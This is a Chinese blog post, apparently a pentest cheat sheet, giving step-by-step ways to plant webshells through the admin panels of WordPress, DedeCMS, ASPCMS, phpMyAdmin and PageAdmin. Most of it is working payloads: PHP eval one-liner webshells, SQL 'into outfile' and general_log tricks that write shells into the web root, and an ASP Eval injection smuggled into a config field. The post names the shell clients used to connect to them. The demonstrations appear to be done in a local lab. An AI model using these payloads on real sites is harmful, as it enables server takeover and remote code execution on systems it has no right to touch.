常见的CMS漏洞

一、wordpass
1.后台修改模板拿webshell

进入后台:

外观-编辑-404模板-一句话木马

/wp-content/themes/twentyfourteen/404.php

菜刀连接:

2.上传主题拿webshell

将主题404.php替换

外观-添加主题

蚁剑连接

二、DEDECMS
1.通过文件管理器上传WebShell

进入后台-附件管理-文件式管理器

菜刀连接

2.修改模板文件拿WebShell

模板-默认模板管理-index.html-修改-添加一句话木马

生成-更新主页html-改为php-生成静态

http://127.0.0.1/DedeCMS/uploads/index.php

蚁剑连接成功

3.后台任意命令执行拿WebShell

模块-广告-添加-

代码:127.0.0.1/DedeCMS/uploads/plus/ad_js.php?aid=1

菜刀连接成功

4.sql命令行

系统-sql命令行

select "<?php @eval($_POST['cmd']);?>" into outfile "D:/phpstudy_pro/WWW/6.php"

菜刀连接成功:

 

 

三、 ASPCMS
1.后台修改配置⽂件拿Shel

点击 【扩展功能】--》 【幻灯⽚设置】 --》点击 【保存】 --》开启代理进⾏抓包

在抓取的数据包中修改 slideTextStatus 字段的值为以下代码并进⾏发包查看被修改的asp ⽂件内容..

1%25><%25Eval(Request (chr(65)))%25><%25

# 影响⽂件 /config/AspCms_Config.asp

 

开启日志保存状态: set global general_log='on';

修改⽇志的保存位置:set global general_log_file = 'D:/phpstudy_pro/WWW/666.php'

修改成功:

写入一句话木马:select'<?php eval($_POST["cmd"]);?>'

四、PHPMyadmin
1.通过日志文件拿shell

执行,查看是否开启:show global variables like '%general%';

开启日志保存状态: set global general_log='on';

修改⽇志的保存位置:set global general_log_file = 'D:/phpstudy_pro/WWW/666.php'

修改成功:

写入一句话木马:select'<?php eval($_POST["cmd"]);?>'

连接成功

2. 导⼊导出拿WebShell

判断mysql位置:

select @@datadir

猜测web路径:D:\phpstudy_pro\WWW

写webshell

select "<?php @eval($_POST[cmd]);?>" into outfile 'D:/phpstudy_pro/WWW/777.php';

连接成功:

3. 界⾯图像化GetShell

在变量这里搜索:

点击编辑:可以利用日志文件拿shell同实验一

五、 Pageadmin
1. 上传⽂件解压拿WebShell

利用哥斯拉-管理-生成,创建asp-压缩为zip

点击【⼯具】--》 【⽂件管理】--》 【功能菜单】 --》【上传⽂件】--》 【解压】

连接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值